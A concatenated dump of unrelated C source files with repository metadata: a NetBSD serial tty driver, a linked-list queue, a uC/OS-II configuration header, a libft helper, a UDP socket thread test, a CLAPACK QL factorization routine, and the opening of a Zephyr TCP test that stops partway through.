device_xname(sc->sc_dev), "tintr");
printf("\n");
}
/* Receiver Interrupt Handler */
static void
dlrint(void *arg)
{
struct dl_softc *sc = arg;
if (DL_READ_WORD(DL_UBA_RCSR) & DL_RCSR_RX_DONE) {
struct tty *tp = sc->sc_tty;
unsigned c;
int cc;
c = DL_READ_WORD(DL_UBA_RBUF);
cc = c & 0xFF;
if (!(tp->t_state & TS_ISOPEN)) {
cv_broadcast(&tp->t_rawcv);
return;
}
if (c & DL_RBUF_OVERRUN_ERR) {
/*
* XXX: This should really be logged somwhere
* else where we can afford the time.
*/
log(LOG_WARNING, "%s: rx overrun\n",
device_xname(sc->sc_dev));
}
if (c & DL_RBUF_FRAMING_ERR)
cc |= TTY_FE;
if (c & DL_RBUF_PARITY_ERR)
cc |= TTY_PE;
(*tp->t_linesw->l_rint)(cc, tp);
#if defined(DIAGNOSTIC)
} else {
log(LOG_WARNING, "%s: stray rx interrupt\n",
device_xname(sc->sc_dev));
#endif
}
}
/* Transmitter Interrupt Handler */
static void
dlxint(void *arg)
{
struct dl_softc *sc = arg;
struct tty *tp = sc->sc_tty;
tp->t_state &= ~(TS_BUSY | TS_FLUSH);
(*tp->t_linesw->l_start)(tp);
return;
}
int
dlopen(dev_t dev, int flag, int mode, struct lwp *l)
{
struct tty *tp;
struct dl_softc *sc;
int unit;
unit = minor(dev);
sc = device_lookup_private(&dl_cd, unit);
if (!sc)
return ENXIO;
tp = sc->sc_tty;
if (tp == NULL)
return ENODEV;
tp->t_oproc = dlstart;
tp->t_param = dlparam;
tp->t_dev = dev;
if (kauth_authorize_device_tty(l->l_cred, KAUTH_DEVICE_TTY_OPEN, tp))
return (EBUSY);
if (!(tp->t_state & TS_ISOPEN)) {
ttychars(tp);
tp->t_iflag = TTYDEF_IFLAG;
tp->t_oflag = TTYDEF_OFLAG;
/* No modem control, so set CLOCAL. */
tp->t_cflag = TTYDEF_CFLAG | CLOCAL;
tp->t_lflag = TTYDEF_LFLAG;
tp->t_ispeed = tp->t_ospeed = TTYDEF_SPEED;
dlparam(tp, &tp->t_termios);
ttsetwater(tp);
}
return ((*tp->t_linesw->l_open)(dev, tp));
}
/*ARGSUSED*/
int
dlclose(dev_t dev, int flag, int mode, struct lwp *l)
{
struct dl_softc *sc = device_lookup_private(&dl_cd, minor(dev));
struct tty *tp = sc->sc_tty;
(*tp->t_linesw->l_close)(tp, flag);
/* Make sure a BREAK state is not left enabled. */
dlbrk(sc, 0);
return (ttyclose(tp));
}
int
dlread(dev_t dev, struct uio *uio, int flag)
{
struct dl_softc *sc = device_lookup_private(&dl_cd, minor(dev));
struct tty *tp = sc->sc_tty;
return ((*tp->t_linesw->l_read)(tp, uio, flag));
}
int
dlwrite(dev_t dev, struct uio *uio, int flag)
{
struct dl_softc *sc = device_lookup_private(&dl_cd, minor(dev));
struct tty *tp = sc->sc_tty;
return ((*tp->t_linesw->l_write)(tp, uio, flag));
}
int
dlpoll(dev_t dev, int events, struct lwp *l)
{
struct dl_softc *sc = device_lookup_private(&dl_cd, minor(dev));
struct tty *tp = sc->sc_tty;
return ((*tp->t_linesw->l_poll)(tp, events, l));
}
int
dlioctl(dev_t dev, unsigned long cmd, void *data, int flag, struct lwp *l)
{
struct dl_softc *sc = device_lookup_private(&dl_cd, minor(dev));
struct tty *tp = sc->sc_tty;
int error;
error = (*tp->t_linesw->l_ioctl)(tp, cmd, data, flag, l);
if (error != EPASSTHROUGH)
return (error);
error = ttioctl(tp, cmd, data, flag, l);
if (error != EPASSTHROUGH)
return (error);
switch (cmd) {
case TIOCSBRK:
dlbrk(sc, 1);
break;
case TIOCCBRK:
dlbrk(sc, 0);
break;
case TIOCMGET:
/* No modem control, assume they're all low. */
*(int *)data = 0;
break;
default:
return (EPASSTHROUGH);
}
return (0);
}
struct tty *
dltty(dev_t dev)
{
struct dl_softc *sc = device_lookup_private(&dl_cd, minor(dev));
return sc->sc_tty;
}
void
dlstop(struct tty *tp, int flag)
{
int s = spltty();
if ((tp->t_state & (TS_BUSY|TS_TTSTOP)) == TS_BUSY)
tp->t_state |= TS_FLUSH;
splx(s);
}
static void
dlstart(struct tty *tp)
{
struct dl_softc *sc = device_lookup_private(&dl_cd, minor(tp->t_dev));
int s = spltty();
if (tp->t_state & (TS_TIMEOUT|TS_BUSY|TS_TTSTOP))
goto out;
if (!ttypull(tp))
goto out;
if (DL_READ_WORD(DL_UBA_XCSR) & DL_XCSR_TX_READY) {
tp->t_state |= TS_BUSY;
DL_WRITE_BYTE(DL_UBA_XBUFL, getc(&tp->t_outq));
}
out:
splx(s);
return;
}
/*ARGSUSED*/
static int
dlparam(struct tty *tp, struct termios *t)
{
/*
* All this kind of stuff (speed, character format, whatever)
* is set by jumpers on the card. Changing it is thus rather
* tricky for a mere device driver.
*/
return 0;
}
static void
dlbrk(struct dl_softc *sc, int state)
{
int s = spltty();
if (state) {
DL_WRITE_WORD(DL_UBA_XCSR, DL_READ_WORD(DL_UBA_XCSR) |
DL_XCSR_TX_BREAK);
} else {
DL_WRITE_WORD(DL_UBA_XCSR, DL_READ_WORD(DL_UBA_XCSR) &
~DL_XCSR_TX_BREAK);
}
splx(s);
}
| [
"justin@specialbusservice.com"
] | justin@specialbusservice.com |
fb1a94af798064d824a0242cdb6aee427d56ecd6 | 623e0e47d56d896f231c45c9b05cb223cac31080 | /queue3.c | de03be2681375e5c6f21c3c7f4c6cb098f7e2f32 | [] | no_license | haleyhamilton/graphs | d362e80b6f95ea781858af9294170b241fb5efd1 | 569626862dc8f4df93aa0f703ffff811a5351bad | refs/heads/master | 2021-09-01T00:41:05.800098 | 2017-12-23T22:15:30 | 2017-12-23T22:15:30 | 115,223,961 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,052 | c | #include <stdio.h>
#include <stdlib.h>
#include "mylib.h"
#include "queue.h"
#include "string.h"
typedef struct q_item *q_item;
struct q_item {
int item;
q_item next;
};
struct queue {
q_item first;
q_item last;
int length;
};
queue queue_new(){
queue result = emalloc(sizeof *result);
result->length = 0;
result->first = NULL;
return result;
}
void enqueue(queue q, int item){
q_item n = emalloc(sizeof *n);
n->item = item;
if (q->first == NULL){
q->first = n;
}
else{
q->last->next = n;
}
n->next =NULL;
q->last = n;
q->length ++;
}
int dequeue(queue q){
if(q->length >0){
q_item temp = q->first;
q->first = q->first->next;
q->length --;
return temp->item;
}
return 0;
}
void queue_print(queue q){
q_item pos = q->first;
while (pos != NULL){
printf("%d\n", pos->item);
pos = pos->next;
}
}
int queue_size(queue q){
return q->length;
}
void queue_free(queue q){
q_item pos = q->first;
while (pos != NULL){
free(pos);
pos = pos->next;
}
}
| [
"noreply@github.com"
] | haleyhamilton.noreply@github.com |
d7e9e977df23176b6c40f93790f0d0212cebcfb7 | 165e7f37f36adf0b002ed125a8c2a38986f8bea8 | /EvalBoards/Microchip/Explorer16/PIC33FJ256/MPLAB_C30/OS-Probe/app_cfg.h | b9401e077ce8eadbac2e7b241dc20bf166ca59c6 | [] | no_license | bright-pan/Anti-Stealing | cfd53797c63b32deba56d19041e2119e952e208d | c9a7894f7e4f7986269b1c4bdfd21910bbe70324 | refs/heads/master | 2020-05-29T13:56:55.960668 | 2010-12-07T01:31:32 | 2010-12-07T01:31:32 | null | 0 | 0 | null | null | null | null | GB18030 | C | false | false | 6,617 | h | /*
*********************************************************************************************************
* uC/OS-II Application Configuration
*
* DO NOT DELETE THIS FILE, IT IS REQUIRED FOR OS_VER > 2.80
*
* CHANGE SETTINGS ACCORDINGLY
*
*
* File : app_cfg.h
* By : Eric Shufro
*********************************************************************************************************
*/
#ifndef APP_CFG_H
#define APP_CFG_H
/*
*********************************************************************************************************
* INCLUDES
*********************************************************************************************************
*/
#include <lib_def.h>
#include <lib_modbus.h>
/*
*********************************************************************************************************
* ADDITIONAL uC/MODULE ENABLES
*********************************************************************************************************
*/
#define LIB_STR_CFG_FP_EN DEF_DISABLED
//#define uC_PROBE_OS_PLUGIN DEF_ENABLED
//#define uC_PROBE_COM_MODULE DEF_ENABLED
/*
*********************************************************************************************************
* TASK PRIORITIES
*********************************************************************************************************
*/
#define APP_TASK_START_PRIO 0 /* Lower numbers are of higher priority */
#define MUTEX_GR64_PIP 1
#define MUTEX_RS485_PIP 2
#define MUTEX_EEPROM_PIP 3
#define MUTEX_DEVICE_INIT_PARAMETERS_PIP 4
//#define APP_TASK_LCD_PRIO 6
#define APP_TASK_RS485_PRIO 8 /* RS485 发送任务 */
#define APP_TASK_GR64_PRIO 9 /* GR64 发送任务 */
#define APP_TASK_SMSSend_PRIO 10 /* SMS 发送任务 */
#define APP_TASK_SMSReceive_PRIO 7 /* SMS 接收任务 */
#define OS_TASK_TMR_PRIO 10
/*
*********************************************************************************************************
* TASK STACK SIZES
*
* Notes : 1) Warming, setting a stack size too small may result in the OS crashing. It the OS crashes
* within a deep nested function call, the stack size may be to blame. The current maximum
* stack usage for each task may be checked by using uC/OS-View or the stack checking
* features of uC/OS-II.
*********************************************************************************************************
*/
#define APP_TASK_START_STK_SIZE 128
//#define APP_TASK_LCD_STK_SIZE 256
//#define OS_PROBE_TASK_STK_SIZE 160 /* See probe_com_cfg for RS-232 commication task stack size */
#define APP_TASK_GR64_STK_SIZE 128
#define APP_TASK_RS485_STK_SIZE 128
#define APP_TASK_SMSSend_STK_SIZE 256
#define APP_TASK_SMSReceive_STK_SIZE 256
/*
*********************************************************************************************************
* CONSTANTS
*********************************************************************************************************
*/
#define Q_SMS_ALARM_ARRAY_SIZE 20//短信告警邮件队列大小;
#define MEM_PART_NUMBER 30//内存分区数量;
#define MEM_PART_SIZE 16//内存分区大小;
#define SLAVE_DEVICE_MAX_NUMBERS 10//从设备数量;
#define DEVICE_NAME_MAX_LENGTH 32//设备名称长度;
#define ALARM_TELEPHONE_MAX_NUMBERS 10 //告警手机最大数量;
#define ALARM_TELEPHONE_NUMBER_SIZE 11//手机号码长度(SEMI_OCTET格式);
#define DEVICE_PASSWORD_MAX_LENGTH 12
/* PDU构造 */
#define INTERNATIONAL_ADDRESS_TYPE 0x91
#define LOCAL_ADDRESS_TYPE 0xA1
#define SMSC_DEFAULT 0x00
#define FIRST_OCTET_DEFAULT 0x11
#define TP_MR_DEFAULT 0x00
#define TP_TYPE_DEFAULT INTERNATIONAL_ADDRESS_TYPE//国际地址;
#define TP_PID_DEFAULT 0x00//普通GSM 协议,点对点方式;
#define TP_DCS_DEFAULT 0X08//UCS2编码方式;
#define TP_VP_DEFAULT 0XC2//5分钟有效期限;
/*
*********************************************************************************************************
* DATA TYPES
*********************************************************************************************************
*/
typedef struct {
unsigned char primary_device_name[DEVICE_NAME_MAX_LENGTH];//主设备名称;
unsigned char slave_device_numbers;//从设备数量,且必须小于SLAVE_DEVICE_MAX_NUMBERS;
unsigned char slave_device_id[SLAVE_DEVICE_MAX_NUMBERS];//从设备ID数组,大小为SLAVE_DEVICE_MAX_NUMBERS;
unsigned char slave_device_name[SLAVE_DEVICE_MAX_NUMBERS][DEVICE_NAME_MAX_LENGTH];
SMS_ALARM_FRAME slave_device_history_alarm[SLAVE_DEVICE_MAX_NUMBERS];
unsigned char alarm_telephone_numbers;
unsigned char alarm_telephone[ALARM_TELEPHONE_MAX_NUMBERS][ALARM_TELEPHONE_NUMBER_SIZE];
unsigned char service_center_address[ALARM_TELEPHONE_NUMBER_SIZE];
unsigned char password[DEVICE_PASSWORD_MAX_LENGTH];
}DEVICE_INIT_PARAMATERS;
/*
*********************************************************************************************************
* uC/Probe plug-in for uC/OS-II CONFIGURATION
*********************************************************************************************************
*/
//#define OS_PROBE_TASK 1 /* Task will be created for uC/Probe OS Plug-In */
//#define OS_PROBE_TMR_32_BITS 0 /* Timer is 16 bits */
//#define OS_PROBE_TIMER_SEL 3 /* Use TPM3 or TPM5 */
//#define OS_PROBE_HOOKS_EN 1 /* Enable uC/Probe application hooks */
//#define OS_PROBE_USE_FP 1 /* Override uC/Probe floating point support, use integers */
#endif /* End of file */
| [
"loststriker@gmail.com"
] | loststriker@gmail.com |
8102b8a3e89c92062f024aac87f1a8ca63c8be45 | 9f89cc4b6ce520201697622e59f1e8d5e2e96842 | /libft/ft_lstdelone.c | 612ce20bf0bd85e7a2369284d90206a1056e4acd | [] | no_license | hyechanshin/Fdf | 2cbe1c7a1626435cb4e890d2e2f760b2fec2019a | 916669c42804faaa9034edea0571941f7c70f7ea | refs/heads/master | 2023-05-10T09:52:56.663600 | 2021-02-24T19:21:42 | 2021-02-24T19:21:42 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,073 | c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_lstdelone.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: hyshin <kirikeria@gmail.com> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/11/07 14:47:28 by hyshin #+# #+# */
/* Updated: 2019/11/07 14:47:45 by hyshin ### ########.fr */
/* */
/* ************************************************************************** */
#include "libft.h"
void ft_lstdelone(t_list **alst, void (*del)(void *, size_t))
{
t_list *lst;
lst = *alst;
del(lst->content, lst->content_size);
free(lst);
*alst = NULL;
}
| [
"kirikeria@gmail.com"
] | kirikeria@gmail.com |
2e1fb38c3af1dc2df85c205fa1312c16131e6289 | 2ca6d465b18431a57690a068552d19d84b9aece2 | /multi_thread/local_test.c | 7707f28a04cf6b5eb41dfdb2bf7b7de3e94212d0 | [] | no_license | mkchiny/backup_file | f41066ac0c632b5c4286873117acf91468929214 | e92a51fed9dacdf857d289702c688472dc8159ae | refs/heads/master | 2021-05-25T10:37:11.670816 | 2020-08-05T03:34:05 | 2020-08-05T03:34:05 | 127,128,390 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 3,043 | c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/un.h>
#define max_num 4
typedef struct
{
int fd;
struct sockaddr_in addr;
int addr_len;
}local_client_t;
void *read_process(void *arg)
{
local_client_t *handle = (local_client_t *)arg;
char buf[128];
int ret = 0;
while(1)
{
memset(buf, 0, sizeof(buf));
ret = recvfrom(handle->fd, buf, sizeof(buf), 0, (struct sockaddr*)&handle->addr, &handle->addr_len);
if(ret > 0)
{
printf("handle = %d, %s\n", handle->fd, buf);
}
else
{
printf("handle = %d, ret = %d(%d:%m)\n", handle->fd, ret, __LINE__);
}
}
return NULL;
}
void *write_process(void *arg)
{
local_client_t *handle = (local_client_t *)arg;
char buf[128];
int len = 0;
int ret = 0;
while(1)
{
snprintf(buf, sizeof(buf), "write %d", handle->fd);
len = strlen(buf);
ret = sendto(handle->fd, buf, len, 0, (struct sockaddr*)&handle->addr, handle->addr_len);
if(ret != len)
{
printf("handle = %d, ret = %d, len = %d (%d:%m)\n", handle->fd, ret, len, __LINE__);
}
sleep(1);
}
return NULL;
}
int local_test()
{
pthread_t write_id[max_num];
pthread_t read_id[max_num];
local_client_t handle[max_num];
int i = 0;
int ret = 0;
for(i = 0; i < max_num; i++)
{
handle[i].fd = socket(AF_INET, SOCK_DGRAM, 0);
handle[i].addr.sin_family = AF_INET;
handle[i].addr.sin_addr.s_addr = htonl(INADDR_ANY);
handle[i].addr.sin_addr.s_addr = inet_addr("127.0.0.1");
handle[i].addr.sin_port = htons(0);
handle[i].addr_len = sizeof(struct sockaddr_in);
ret = bind(handle[i].fd, (struct sockaddr*)&(handle[i].addr), handle[i].addr_len);
if(ret != 0)
{
printf("ret = %d, (%d:%m)\n", ret, __LINE__);
}
printf("addr_len = %d\n", handle[i].addr_len);
getsockname(handle[i].fd, (struct sockaddr*)&(handle[i].addr), &handle[i].addr_len);
printf("addr_len = %d\n", handle[i].addr_len);
printf("i = %d addr = %s port = %d\n", i, inet_ntoa(handle[i].addr.sin_addr), handle[i].addr.sin_port);
ret = pthread_create(&write_id[i], NULL, write_process, &handle[i]);
if(ret != 0)
{
printf("ret = %d, (%d:%m)\n", ret, __LINE__);
}
ret = pthread_create(&read_id[i], NULL, read_process, &handle[i]);
if(ret != 0)
{
printf("ret = %d, (%d:%m)\n", ret, __LINE__);
}
}
for(i = 0; i < max_num; i++)
{
pthread_join(write_id[i], NULL);
pthread_join(read_id[i], NULL);
close(handle[i].fd);
}
return 0;
}
| [
"noreply@github.com"
] | mkchiny.noreply@github.com |
8f7d3e44857ac33ebee1e2fa253a778f81c03a05 | 3c883e1084f0a61e558c2d210bb1b4ae8a5e6a06 | /third_party/nvxs-1.0.2/CLAPACK/SRC/cgeqlf.c | a489c9139f70bc8d25734fd728ecf6586899fe87 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"Python-2.0",
"BSD-3-Clause"
] | permissive | nya3jp/python-animeface | 7e48aa333c9f365a80acdf43e5d516edc8d0b189 | 15caf8b1ca29847f0dceb54e4b91c77726c4111c | refs/heads/main | 2022-04-29T20:17:01.198810 | 2022-04-04T10:17:59 | 2022-04-04T10:17:59 | 10,998,381 | 150 | 14 | Apache-2.0 | 2022-04-03T07:18:40 | 2013-06-27T14:06:08 | C | UTF-8 | C | false | false | 7,291 | c | #include "f2c.h"
#include "blaswrap.h"
/* Table of constant values */
static integer c__1 = 1;
static integer c_n1 = -1;
static integer c__3 = 3;
static integer c__2 = 2;
/* Subroutine */ int cgeqlf_(integer *m, integer *n, complex *a, integer *lda,
complex *tau, complex *work, integer *lwork, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, i__1, i__2, i__3, i__4;
/* Local variables */
integer i__, k, ib, nb, ki, kk, mu, nu, nx, iws, nbmin, iinfo;
extern /* Subroutine */ int cgeql2_(integer *, integer *, complex *,
integer *, complex *, complex *, integer *), clarfb_(char *, char
*, char *, char *, integer *, integer *, integer *, complex *,
integer *, complex *, integer *, complex *, integer *, complex *,
integer *), clarft_(char *, char *
, integer *, integer *, complex *, integer *, complex *, complex *
, integer *), xerbla_(char *, integer *);
extern integer ilaenv_(integer *, char *, char *, integer *, integer *,
integer *, integer *);
integer ldwork, lwkopt;
logical lquery;
/* -- LAPACK routine (version 3.1) -- */
/* Univ. of Tennessee, Univ. of California Berkeley and NAG Ltd.. */
/* November 2006 */
/* .. Scalar Arguments .. */
/* .. */
/* .. Array Arguments .. */
/* .. */
/* Purpose */
/* ======= */
/* CGEQLF computes a QL factorization of a complex M-by-N matrix A: */
/* A = Q * L. */
/* Arguments */
/* ========= */
/* M (input) INTEGER */
/* The number of rows of the matrix A. M >= 0. */
/* N (input) INTEGER */
/* The number of columns of the matrix A. N >= 0. */
/* A (input/output) COMPLEX array, dimension (LDA,N) */
/* On entry, the M-by-N matrix A. */
/* On exit, */
/* if m >= n, the lower triangle of the subarray */
/* A(m-n+1:m,1:n) contains the N-by-N lower triangular matrix L; */
/* if m <= n, the elements on and below the (n-m)-th */
/* superdiagonal contain the M-by-N lower trapezoidal matrix L; */
/* the remaining elements, with the array TAU, represent the */
/* unitary matrix Q as a product of elementary reflectors */
/* (see Further Details). */
/* LDA (input) INTEGER */
/* The leading dimension of the array A. LDA >= max(1,M). */
/* TAU (output) COMPLEX array, dimension (min(M,N)) */
/* The scalar factors of the elementary reflectors (see Further */
/* Details). */
/* WORK (workspace/output) COMPLEX array, dimension (MAX(1,LWORK)) */
/* On exit, if INFO = 0, WORK(1) returns the optimal LWORK. */
/* LWORK (input) INTEGER */
/* The dimension of the array WORK. LWORK >= max(1,N). */
/* For optimum performance LWORK >= N*NB, where NB is */
/* the optimal blocksize. */
/* If LWORK = -1, then a workspace query is assumed; the routine */
/* only calculates the optimal size of the WORK array, returns */
/* this value as the first entry of the WORK array, and no error */
/* message related to LWORK is issued by XERBLA. */
/* INFO (output) INTEGER */
/* = 0: successful exit */
/* < 0: if INFO = -i, the i-th argument had an illegal value */
/* Further Details */
/* =============== */
/* The matrix Q is represented as a product of elementary reflectors */
/* Q = H(k) . . . H(2) H(1), where k = min(m,n). */
/* Each H(i) has the form */
/* H(i) = I - tau * v * v' */
/* where tau is a complex scalar, and v is a complex vector with */
/* v(m-k+i+1:m) = 0 and v(m-k+i) = 1; v(1:m-k+i-1) is stored on exit in */
/* A(1:m-k+i-1,n-k+i), and tau in TAU(i). */
/* ===================================================================== */
/* .. Local Scalars .. */
/* .. */
/* .. External Subroutines .. */
/* .. */
/* .. Intrinsic Functions .. */
/* .. */
/* .. External Functions .. */
/* .. */
/* .. Executable Statements .. */
/* Test the input arguments */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1;
a -= a_offset;
--tau;
--work;
/* Function Body */
*info = 0;
lquery = *lwork == -1;
if (*m < 0) {
*info = -1;
} else if (*n < 0) {
*info = -2;
} else if (*lda < max(1,*m)) {
*info = -4;
}
if (*info == 0) {
k = min(*m,*n);
if (k == 0) {
lwkopt = 1;
} else {
nb = ilaenv_(&c__1, "CGEQLF", " ", m, n, &c_n1, &c_n1);
lwkopt = *n * nb;
}
work[1].r = (real) lwkopt, work[1].i = 0.f;
if (*lwork < max(1,*n) && ! lquery) {
*info = -7;
}
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("CGEQLF", &i__1);
return 0;
} else if (lquery) {
return 0;
}
/* Quick return if possible */
if (k == 0) {
return 0;
}
nbmin = 2;
nx = 1;
iws = *n;
if (nb > 1 && nb < k) {
/* Determine when to cross over from blocked to unblocked code. */
/* Computing MAX */
i__1 = 0, i__2 = ilaenv_(&c__3, "CGEQLF", " ", m, n, &c_n1, &c_n1);
nx = max(i__1,i__2);
if (nx < k) {
/* Determine if workspace is large enough for blocked code. */
ldwork = *n;
iws = ldwork * nb;
if (*lwork < iws) {
/* Not enough workspace to use optimal NB: reduce NB and */
/* determine the minimum value of NB. */
nb = *lwork / ldwork;
/* Computing MAX */
i__1 = 2, i__2 = ilaenv_(&c__2, "CGEQLF", " ", m, n, &c_n1, &
c_n1);
nbmin = max(i__1,i__2);
}
}
}
if (nb >= nbmin && nb < k && nx < k) {
/* Use blocked code initially. */
/* The last kk columns are handled by the block method. */
ki = (k - nx - 1) / nb * nb;
/* Computing MIN */
i__1 = k, i__2 = ki + nb;
kk = min(i__1,i__2);
i__1 = k - kk + 1;
i__2 = -nb;
for (i__ = k - kk + ki + 1; i__2 < 0 ? i__ >= i__1 : i__ <= i__1; i__
+= i__2) {
/* Computing MIN */
i__3 = k - i__ + 1;
ib = min(i__3,nb);
/* Compute the QL factorization of the current block */
/* A(1:m-k+i+ib-1,n-k+i:n-k+i+ib-1) */
i__3 = *m - k + i__ + ib - 1;
cgeql2_(&i__3, &ib, &a[(*n - k + i__) * a_dim1 + 1], lda, &tau[
i__], &work[1], &iinfo);
if (*n - k + i__ > 1) {
/* Form the triangular factor of the block reflector */
/* H = H(i+ib-1) . . . H(i+1) H(i) */
i__3 = *m - k + i__ + ib - 1;
clarft_("Backward", "Columnwise", &i__3, &ib, &a[(*n - k +
i__) * a_dim1 + 1], lda, &tau[i__], &work[1], &ldwork);
/* Apply H' to A(1:m-k+i+ib-1,1:n-k+i-1) from the left */
i__3 = *m - k + i__ + ib - 1;
i__4 = *n - k + i__ - 1;
clarfb_("Left", "Conjugate transpose", "Backward", "Columnwi"
"se", &i__3, &i__4, &ib, &a[(*n - k + i__) * a_dim1 +
1], lda, &work[1], &ldwork, &a[a_offset], lda, &work[
ib + 1], &ldwork);
}
/* L10: */
}
mu = *m - k + i__ + nb - 1;
nu = *n - k + i__ + nb - 1;
} else {
mu = *m;
nu = *n;
}
/* Use unblocked code to factor the last or only block */
if (mu > 0 && nu > 0) {
cgeql2_(&mu, &nu, &a[a_offset], lda, &tau[1], &work[1], &iinfo);
}
work[1].r = (real) iws, work[1].i = 0.f;
return 0;
/* End of CGEQLF */
} /* cgeqlf_ */
| [
"takahashi.shuhei@gmail.com"
] | takahashi.shuhei@gmail.com |
5a47d296e3481dfceee48ec02dedde8e808e22e1 | 3639afac9a2c26df76e985f18ca1160a8030b59a | /len.c | 9702f43dfb412d0fc0ba2acd06fc9f7f47cc517b | [] | no_license | pavind98/pavi | 20cb31e9c0b93934095ea31f05183f207cb7418a | 4a257dd47c26753d3a743f354679b12c98cba989 | refs/heads/master | 2021-01-15T13:36:22.100534 | 2018-02-28T11:11:17 | 2018-02-28T11:11:17 | 99,679,326 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 212 | c | #include<stdio.h>
void main()
{
int l,b,h,c,d;
printf("enter the values");
scanf("%d%d%d",&l,&b,&h);
c=2*(l*b+b*h+l*h);
printf("total surface of a cuboid is %d",c);
d=l*b*h;
printf("volume of cuboid is %d",d);
}
| [
"noreply@github.com"
] | pavind98.noreply@github.com |
0baefd07bb8e12e6c3fdf5174a143ef935181581 | 3839a59d66f65daaaf9f8f12ed1952223ecc116c | /tests/net/tcp/src/main.c | 1799929c5ea374d8317d7a8f1b0196b03d694222 | [
"Apache-2.0"
] | permissive | Jason0204/jasontek_f103rb-zephyrOS-project | 74e7863222c05e10f30a1c8951c43af60bc57baf | 21f354f9f0f13ff5f9fe0ed4236fa79635068591 | refs/heads/master | 2021-01-11T14:37:16.982857 | 2017-06-03T12:26:04 | 2017-06-03T12:26:04 | 80,175,240 | 2 | 0 | null | null | null | null | UTF-8 | C | false | false | 37,176 | c | /* main.c - Application main entry point */
/*
* Copyright (c) 2016 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <zephyr.h>
#include <sections.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <device.h>
#include <init.h>
#include <misc/printk.h>
#include <net/buf.h>
#include <net/net_core.h>
#include <net/nbuf.h>
#include <net/net_ip.h>
#include <net/ethernet.h>
#include <tc_util.h>
#if defined(CONFIG_NET_DEBUG_TCP)
#define DBG(fmt, ...) printk(fmt, ##__VA_ARGS__)
#define NET_DEBUG 1
#else
#define DBG(fmt, ...)
#endif
#include "tcp.h"
#include "net_private.h"
static bool test_failed;
static bool fail = true;
static struct k_sem recv_lock;
static struct net_context *v6_ctx;
static struct net_context *reply_v6_ctx;
static struct net_context *v4_ctx;
static struct net_context *reply_v4_ctx;
static struct sockaddr_in6 any_addr6;
static const struct in6_addr in6addr_any = IN6ADDR_ANY_INIT;
static struct sockaddr_in any_addr4;
static const struct in_addr in4addr_any = { { { 0 } } };
static struct in6_addr my_v6_inaddr = { { { 0x20, 0x01, 0x0d, 0xb8, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0x2a } } };
static struct in6_addr peer_v6_inaddr = { { { 0x20, 0x01, 0x0d, 0xb8, 0, 0, 0,
0, 0, 0, 0, 0x4e, 0x11, 0, 0, 0xa2 } } };
static struct sockaddr_in6 my_v6_addr;
static struct sockaddr_in6 peer_v6_addr;
static struct in_addr my_v4_inaddr = { { { 192, 0, 2, 150 } } };
static struct in_addr peer_v4_inaddr = { { { 192, 0, 2, 250 } } };
static struct sockaddr_in my_v4_addr;
static struct sockaddr_in peer_v4_addr;
#define MY_TCP_PORT 5545
#define PEER_TCP_PORT 9876
#define WAIT_TIME 250
#define WAIT_TIME_LONG MSEC_PER_SEC
static struct k_sem wait_connect;
#if 0
static struct k_sem wait_in_accept;
static bool connect_cb_called;
static int accept_cb_called;
#endif
static bool syn_v6_sent;
struct net_tcp_context {
uint8_t mac_addr[sizeof(struct net_eth_addr)];
struct net_linkaddr ll_addr;
};
int net_tcp_dev_init(struct device *dev)
{
struct net_tcp_context *net_tcp_context = dev->driver_data;
net_tcp_context = net_tcp_context;
return 0;
}
static uint8_t *net_tcp_get_mac(struct device *dev)
{
struct net_tcp_context *context = dev->driver_data;
if (context->mac_addr[0] == 0x00) {
/* 10-00-00-00-00 to 10-00-00-00-FF Documentation RFC7042 */
context->mac_addr[0] = 0x10;
context->mac_addr[1] = 0x00;
context->mac_addr[2] = 0x00;
context->mac_addr[3] = 0x00;
context->mac_addr[4] = 0x00;
context->mac_addr[5] = sys_rand32_get();
}
return context->mac_addr;
}
static void net_tcp_iface_init(struct net_if *iface)
{
uint8_t *mac = net_tcp_get_mac(net_if_get_device(iface));
net_if_set_link_addr(iface, mac, 6);
}
static void v6_send_syn_ack(struct net_if *iface, struct net_buf *req)
{
struct net_buf *rsp;
int ret;
ret = net_tcp_prepare_segment(reply_v6_ctx->tcp,
NET_TCP_SYN | NET_TCP_ACK,
NULL, 0,
(struct sockaddr *)&my_v6_addr, &rsp);
if (ret) {
DBG("TCP packet creation failed\n");
return;
}
DBG("1) rsp src %s/%d\n", net_sprint_ipv6_addr(&NET_IPV6_BUF(rsp)->src),
ntohs(NET_TCP_BUF(rsp)->src_port));
DBG("1) rsp dst %s/%d\n", net_sprint_ipv6_addr(&NET_IPV6_BUF(rsp)->dst),
ntohs(NET_TCP_BUF(rsp)->dst_port));
net_ipaddr_copy(&NET_IPV6_BUF(rsp)->src, &NET_IPV6_BUF(req)->dst);
net_ipaddr_copy(&NET_IPV6_BUF(rsp)->dst, &NET_IPV6_BUF(req)->src);
NET_TCP_BUF(rsp)->src_port = NET_TCP_BUF(req)->dst_port;
NET_TCP_BUF(rsp)->dst_port = NET_TCP_BUF(req)->src_port;
DBG("rsp src %s/%d\n", net_sprint_ipv6_addr(&NET_IPV6_BUF(rsp)->src),
ntohs(NET_TCP_BUF(rsp)->src_port));
